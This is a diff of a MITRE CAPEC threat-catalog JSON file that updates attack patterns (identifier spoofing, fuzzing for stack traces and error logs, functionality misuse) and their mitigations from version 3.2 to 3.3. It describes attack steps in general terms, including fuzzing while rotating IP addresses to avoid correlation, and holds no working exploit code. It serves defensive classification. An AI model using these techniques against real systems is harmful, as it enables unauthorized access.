"x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the application for Indicators of Susceptibility: Using a variety of methods, until one is found that applies to the target, the adversary probes for cookies, session tokens, or entry points that bypass identifiers altogether.

    2. Techniques
    Spider all available pages
    Attack known bad interfaces
    Search outward-facing configuration and properties files for identifiers.

Experiment

  1. Fetch samples: The adversary fetches many samples of identifiers. This may be through legitimate access (logging in, legitimate connections, etc.) or via systematic probing.

    2. Techniques
    An adversary makes many anonymous connections and records the session IDs assigned.
    An adversary makes authorized connections and records the session tokens or credentials issued.
    An adversary gains access to (legitimately or illegitimately) a nearby system (e.g., in the same operations network, DMZ, or local network) and makes a connection from it, attempting to gain the same privileges as a trusted system.

Exploit

  1. Impersonate: An adversary can use successful experiments or authentications to impersonate an authorized user or system or to laterally move within a system or application

  2. Spoofing: Malicious data can be injected into the target system or into a victim user's system by an adversary. The adversary can also pose as a legitimate user to perform social engineering attacks.

  3. Data Exfiltration: The adversary can obtain sensitive data contained within the system or application.

", + "x_capec_status": "Stable", + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--de3ee34b-075a-4ee0-8aee-606adc412d09", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-21-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: utilize strong federated identity such as SAML to encrypt and sign identity tokens in transit.", - "type": "course-of-action", - "id": "course-of-action--de3ee34b-075a-4ee0-8aee-606adc412d09" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--f9eaa515-4e04-4e48-a95a-a5cc76d3fae0", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--f9eaa515-4e04-4e48-a95a-a5cc76d3fae0", "source_ref": "course-of-action--de3ee34b-075a-4ee0-8aee-606adc412d09", "relationship_type": "mitigates", "target_ref": "attack-pattern--2351ee64-dd85-4bc3-bb43-aaa2ca5c1228" }, { + "id": "course-of-action--1b5eb714-1670-4a73-8ca3-0de95cf15371", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-21-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Use industry standards session key generation mechanisms that utilize high amount of entropy to generate the session key. Many standard web and application servers will perform this task on your behalf.", - "type": "course-of-action", - "id": "course-of-action--1b5eb714-1670-4a73-8ca3-0de95cf15371" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--65db9cb6-fc43-4034-b579-eb165dd5e4cb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--65db9cb6-fc43-4034-b579-eb165dd5e4cb", "source_ref": "course-of-action--1b5eb714-1670-4a73-8ca3-0de95cf15371", "relationship_type": "mitigates", "target_ref": "attack-pattern--2351ee64-dd85-4bc3-bb43-aaa2ca5c1228" @@ -11615,99 +12592,107 @@ { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-21-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "Implementation: If the session identifier is used for authentication, such as in the so-called single sign on use cases, then ensure that it is protected at the same level of assurance as authentication tokens.", + "description": "Implementation: If the identifier is used for authentication, such as in the so-called single sign on use cases, then ensure that it is protected at the same level of assurance as authentication tokens.", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--720f60b5-1593-46a2-84e3-3d107619e5f2" + "id": "course-of-action--718ea228-55ed-4373-b43f-e69084b06529" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--fca634f6-be83-4b19-b47e-c4eb69f91366", - "source_ref": "course-of-action--720f60b5-1593-46a2-84e3-3d107619e5f2", + "id": "relationship--e264f74e-3bd0-46ab-bd67-3526a6e9d54f", + "source_ref": "course-of-action--718ea228-55ed-4373-b43f-e69084b06529", "relationship_type": "mitigates", "target_ref": "attack-pattern--2351ee64-dd85-4bc3-bb43-aaa2ca5c1228" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-21-3", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "Implementation: If the web or application server supports it, then encrypting and/or signing the session ID (such as cookie) can protect the ID if intercepted.", + "description": "Implementation: If the web or application server supports it, then encrypting and/or signing the identifier (such as cookie) can protect the ID if intercepted.", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--c9598989-65a2-4c7f-a202-7047fd21b930" + "id": "course-of-action--c1ce77d8-271a-4727-aafa-d0dad619d017" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--319f04f6-c4d1-4c56-bda1-fc1d4066730b", - "source_ref": "course-of-action--c9598989-65a2-4c7f-a202-7047fd21b930", + "id": "relationship--12007caf-e1d7-492f-a685-f88c073bccb6", + "source_ref": "course-of-action--c1ce77d8-271a-4727-aafa-d0dad619d017", "relationship_type": "mitigates", "target_ref": "attack-pattern--2351ee64-dd85-4bc3-bb43-aaa2ca5c1228" }, { + "id": "course-of-action--a69d842f-709a-472e-a3e3-233815725789", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-21-4", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Use strong session identifiers that are protected in transit and at rest.", - "type": "course-of-action", - "id": "course-of-action--a69d842f-709a-472e-a3e3-233815725789" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--5a4a61eb-f51c-417d-88d8-2417fea9f0a4", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--5a4a61eb-f51c-417d-88d8-2417fea9f0a4", "source_ref": "course-of-action--a69d842f-709a-472e-a3e3-233815725789", "relationship_type": "mitigates", "target_ref": "attack-pattern--2351ee64-dd85-4bc3-bb43-aaa2ca5c1228" }, { + "id": "course-of-action--e5ebd596-622e-4395-b338-85a54ce00b34", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-21-5", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Utilize a session timeout for all sessions, for example 20 minutes. If the user does not explicitly logout, the server terminates their session after this period of inactivity. If the user logs back in then a new session key is generated.", - "type": "course-of-action", - "id": "course-of-action--e5ebd596-622e-4395-b338-85a54ce00b34" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--7c05cd2c-a62f-42aa-b4f2-db68b48a7d78", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--7c05cd2c-a62f-42aa-b4f2-db68b48a7d78", "source_ref": "course-of-action--e5ebd596-622e-4395-b338-85a54ce00b34", "relationship_type": "mitigates", "target_ref": "attack-pattern--2351ee64-dd85-4bc3-bb43-aaa2ca5c1228" @@ -11715,29 +12700,32 @@ { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-21-6", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "Implementation: Verify of authenticity of all session IDs at runtime.", + "description": "Implementation: Verify authenticity of all identifiers at runtime.", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--6c0a06e4-8e9f-4f3f-8af5-faf3c286b398" + "id": "course-of-action--3daed4ec-09d3-48c0-ac50-b37755e9928c" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--d524b167-9787-4825-91ad-75d1cca3471d", - "source_ref": "course-of-action--6c0a06e4-8e9f-4f3f-8af5-faf3c286b398", + "id": "relationship--4a9103ab-a9ea-40f7-9a9c-2789bebcf094", + "source_ref": "course-of-action--3daed4ec-09d3-48c0-ac50-b37755e9928c", "relationship_type": "mitigates", "target_ref": "attack-pattern--2351ee64-dd85-4bc3-bb43-aaa2ca5c1228" }, { + "id": "attack-pattern--2f50c4ba-bba9-456b-8fc3-7a551ed4c65f", "name": "DEPRECATED: Leveraging web tools (e.g. Mozilla's GreaseMonkey, Firebug) to change application behavior", "description": "This attack pattern has been deprecated as it was deemed not to be a legitimate attack pattern.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -11755,11 +12743,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--2f50c4ba-bba9-456b-8fc3-7a551ed4c65f" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--c727c058-2c9d-4021-a1ec-81dd030dea59", "name": "Functionality Misuse", "description": "An adversary leverages a legitimate capability of an application in such a way as to achieve a negative technical impact. The system functionality is not altered or modified but used in a way that was not intended. This is often accomplished through the overuse of a specific functionality or by leveraging functionality with design flaws that enables the adversary to gain access to unauthorized, sensitive data.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -11767,12 +12755,22 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/212.html", "external_id": "CAPEC-212" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1242.html", + "external_id": "CWE-1242" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1281.html", + "external_id": "CWE-1281" } ], "x_capec_likelihood_of_attack": "Medium", @@ -11797,61 +12795,65 @@ }, "x_capec_abstraction": "Meta", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--c727c058-2c9d-4021-a1ec-81dd030dea59" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--2c554d44-955a-43f5-bf93-2d6bfe5ebcf0", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-212-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Perform comprehensive threat modeling, a process of identifying, evaluating, and mitigating potential threats to the application. This effort can help reveal potentially obscure application functionality that can be manipulated for malicious purposes.", - "type": "course-of-action", - "id": "course-of-action--2c554d44-955a-43f5-bf93-2d6bfe5ebcf0" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--264be4df-68bd-477a-8b05-e975efd6ada7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--264be4df-68bd-477a-8b05-e975efd6ada7", "source_ref": "course-of-action--2c554d44-955a-43f5-bf93-2d6bfe5ebcf0", "relationship_type": "mitigates", "target_ref": "attack-pattern--c727c058-2c9d-4021-a1ec-81dd030dea59" }, { + "id": "course-of-action--b6e8099d-d2e6-4786-a628-0dac80173c67", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-212-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "When implementing security features, consider how they can be misused and compromised.", - "type": "course-of-action", - "id": "course-of-action--b6e8099d-d2e6-4786-a628-0dac80173c67" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--3688d3c6-8574-4547-aa9d-2d75e6da59b3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--3688d3c6-8574-4547-aa9d-2d75e6da59b3", "source_ref": "course-of-action--b6e8099d-d2e6-4786-a628-0dac80173c67", "relationship_type": "mitigates", "target_ref": "attack-pattern--c727c058-2c9d-4021-a1ec-81dd030dea59" }, { + "id": "attack-pattern--3ec96bbd-da0c-4640-a8ae-50e506206a2b", "name": "DEPRECATED: Directory Traversal", "description": "This attack pattern has been deprecated as it is a duplicate of the existing attack pattern \"CAPEC-126 : Path Traversal\". Please refer to this other CAPEC going forward.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -11869,11 +12871,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--3ec96bbd-da0c-4640-a8ae-50e506206a2b" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--27f34b27-52ae-42ae-a5c4-1155641eab90", "name": "Fuzzing for garnering J2EE/.NET-based stack traces, for application mapping", "description": "An attacker sends random, malformed, or otherwise unexpected messages to a target application and observes any stack traces produced by error messages. Fuzzing techniques involve sending random or malformed messages to a target and monitoring the target's response. The attacker does not initially know how a target will respond to individual messages but by attempting a large number of message variants they may find a variant that trigger's desired behavior. In this attack, the purpose of the fuzzing is to cause the targeted application to return an error including a stack trace, although fuzzing a target can also sometimes cause the target to enter an unstable state, causing a crash. The stack trace enumerates the chain of methods that led up to the point where the error was encountered. This can not only reveal the names of the methods (some of which may have known weaknesses) but possibly also the location of class files and libraries as well as parameter values. In some cases, the stack trace might even disclose sensitive configuration or user information.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -11908,11 +12910,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--27f34b27-52ae-42ae-a5c4-1155641eab90" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--b5618a54-4646-423d-8676-b2eb56dd4328", "name": "Fuzzing and observing application log data/errors for application mapping", "description": "An attacker sends random, malformed, or otherwise unexpected messages to a target application and observes the application's log or error messages returned. Fuzzing techniques involve sending random or malformed messages to a target and monitoring the target's response. The attacker does not initially know how a target will respond to individual messages but by attempting a large number of message variants they may find a variant that trigger's desired behavior. In this attack, the purpose of the fuzzing is to observe the application's log and error messages, although fuzzing a target can also sometimes cause the target to enter an unstable state, causing a crash. By observing logs and error messages, the attacker can learn details about the configuration of the target application and might be able to cause the target to disclose sensitive information.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -11920,7 +12922,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -11958,140 +12960,151 @@ "x_capec_example_instances": [ "\n The following code generates an error message that leaks the full pathname of the configuration file.\n $ConfigDir = \"/home/myprog/config\";$uname = GetUserInput(\"username\");ExitError(\"Bad hacker!\") if ($uname !~ /^\\w+$/);$file = \"$ConfigDir/$uname.txt\";if (! (-e $file)) { ExitError(\"Error: $file does not exist\"); }...\n If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that does not produce a $file that exists, an attacker could get this pathname. It could then be used to exploit path traversal or symbolic link following problems that may exist elsewhere in the application.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Probing: The attacker uses fuzzing tools to send random malformed messages to web server and observes for server's log or error message.

    2. Techniques
    The attacker uses fuzzing tools to send random malformed messages to web server and observes for server's log or error message.

Experiment

  1. Modify the parameters to get the desired information from the error messages.: Attacker usually needs to modify the fuzzing parameters according to the observed error messages to get the desired sensitive information for the application. To defeat correlation, the attacker may try changing the origin IP addresses or client browser identification strings or start a new session from where they left off in obfuscating the attack.

    2. Techniques
    Modify the parameters in the fuzzing tool according to the observed error messages. Repeat with enough parameters until the application has been sufficiently mapped.
    If the application rejects the large amount of fuzzing messages from the same host machine, the attacker needs to hide the attacks by changing the IP addresses or other credentials.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--b5618a54-4646-423d-8676-b2eb56dd4328" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--35e6212f-ac45-4ebb-88b6-9242f8ae2bba", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-215-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Construct a 'code book' for error messages. When using a code book, application error messages aren't generated in string or stack trace form, but are catalogued and replaced with a unique (often integer-based) value 'coding' for the error. Such a technique will require helpdesk and hosting personnel to use a 'code book' or similar mapping to decode application errors/logs in order to respond to them normally.", - "type": "course-of-action", - "id": "course-of-action--35e6212f-ac45-4ebb-88b6-9242f8ae2bba" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--e83220a2-4674-498f-8f1f-684464a2de79", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--e83220a2-4674-498f-8f1f-684464a2de79", "source_ref": "course-of-action--35e6212f-ac45-4ebb-88b6-9242f8ae2bba", "relationship_type": "mitigates", "target_ref": "attack-pattern--b5618a54-4646-423d-8676-b2eb56dd4328" }, { + "id": "course-of-action--81ed39dc-bf22-4d9b-901c-370ff16e02f3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-215-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: wrap application functionality (preferably through the underlying framework) in an output encoding scheme that obscures or cleanses error messages to prevent such attacks. Such a technique is often used in conjunction with the above 'code book' suggestion.", - "type": "course-of-action", - "id": "course-of-action--81ed39dc-bf22-4d9b-901c-370ff16e02f3" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--6313ef4d-92ce-4fa2-89d3-e46c3645bc94", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--6313ef4d-92ce-4fa2-89d3-e46c3645bc94", "source_ref": "course-of-action--81ed39dc-bf22-4d9b-901c-370ff16e02f3", "relationship_type": "mitigates", "target_ref": "attack-pattern--b5618a54-4646-423d-8676-b2eb56dd4328" }, { + "id": "relationship--98fe200c-e422-46ab-a1e3-1ece266fe87a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--98fe200c-e422-46ab-a1e3-1ece266fe87a", "source_ref": "course-of-action--b3b7fd0f-034a-4c49-b011-83527159115d", "relationship_type": "mitigates", "target_ref": "attack-pattern--b5618a54-4646-423d-8676-b2eb56dd4328" }, { + "id": "relationship--0b7e3a6f-e895-4472-8fb2-87fd4ae495ac", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--0b7e3a6f-e895-4472-8fb2-87fd4ae495ac", "source_ref": "course-of-action--c4fec7a6-c3eb-48d8-b840-e4fad7c771c8", "relationship_type": "mitigates", "target_ref": "attack-pattern--b5618a54-4646-423d-8676-b2eb56dd4328" }, { + "id": "relationship--2827e6fe-cb69-4bb9-a62c-a073e37c5f85", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--2827e6fe-cb69-4bb9-a62c-a073e37c5f85", "source_ref": "course-of-action--3205de43-5293-4d4e-9d84-74590957951a", "relationship_type": "mitigates", "target_ref": "attack-pattern--b5618a54-4646-423d-8676-b2eb56dd4328" }, { + "id": "relationship--d3fad702-176c-4e46-ad84-47ac9e37f083", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--d3fad702-176c-4e46-ad84-47ac9e37f083", "source_ref": "course-of-action--5f23b69e-8624-4f1f-b185-f98b16b4714f", "relationship_type": "mitigates", "target_ref": "attack-pattern--b5618a54-4646-423d-8676-b2eb56dd4328" }, { + "id": "relationship--3df53c6f-ed1d-45c8-9248-169adc95cc23", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--3df53c6f-ed1d-45c8-9248-169adc95cc23", "source_ref": "course-of-action--0f461277-141d-4b7f-8f50-ce7f5ee71f4c", "relationship_type": "mitigates", "target_ref": "attack-pattern--b5618a54-4646-423d-8676-b2eb56dd4328" }, { + "id": "relationship--d72a7c6c-d377-4769-b5de-86fe57fc39cb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--d72a7c6c-d377-4769-b5de-86fe57fc39cb", "source_ref": "course-of-action--ac6b5101-4c5f-42e5-9d3c-ebee7b25bae7", "relationship_type": "mitigates", "target_ref": "attack-pattern--b5618a54-4646-423d-8676-b2eb56dd4328" }, { + "id": "attack-pattern--861cfb48-ba7c-4568-86c9-43ac6985ac65", "name": "Communication Channel Manipulation", "description": "An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -12126,11 +13139,11 @@ }, "x_capec_abstraction": "Meta", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--861cfb48-ba7c-4568-86c9-43ac6985ac65" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--6d7d16e2-5680-47ba-942a-5b43c3541123", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-05-01T00:00:00.000Z", @@ -12139,23 +13152,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Encrypt all sensitive communications using properly-configured cryptography.", - "type": "course-of-action", - "id": "course-of-action--6d7d16e2-5680-47ba-942a-5b43c3541123" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--c654fbc8-bc2b-454c-9398-3918f016c72b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-05-01T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--c654fbc8-bc2b-454c-9398-3918f016c72b", "source_ref": "course-of-action--6d7d16e2-5680-47ba-942a-5b43c3541123", "relationship_type": "mitigates", "target_ref": "attack-pattern--861cfb48-ba7c-4568-86c9-43ac6985ac65" }, { + "id": "course-of-action--fdda562a-133a-447b-9a9c-764b70f09841", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-05-01T00:00:00.000Z", @@ -12164,23 +13179,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design the communication system such that it associates proper authentication/authorization with each channel/message.", - "type": "course-of-action", - "id": "course-of-action--fdda562a-133a-447b-9a9c-764b70f09841" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--4825728c-cd47-4e1a-a705-02257ab81012", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-05-01T00:00:00.000Z", 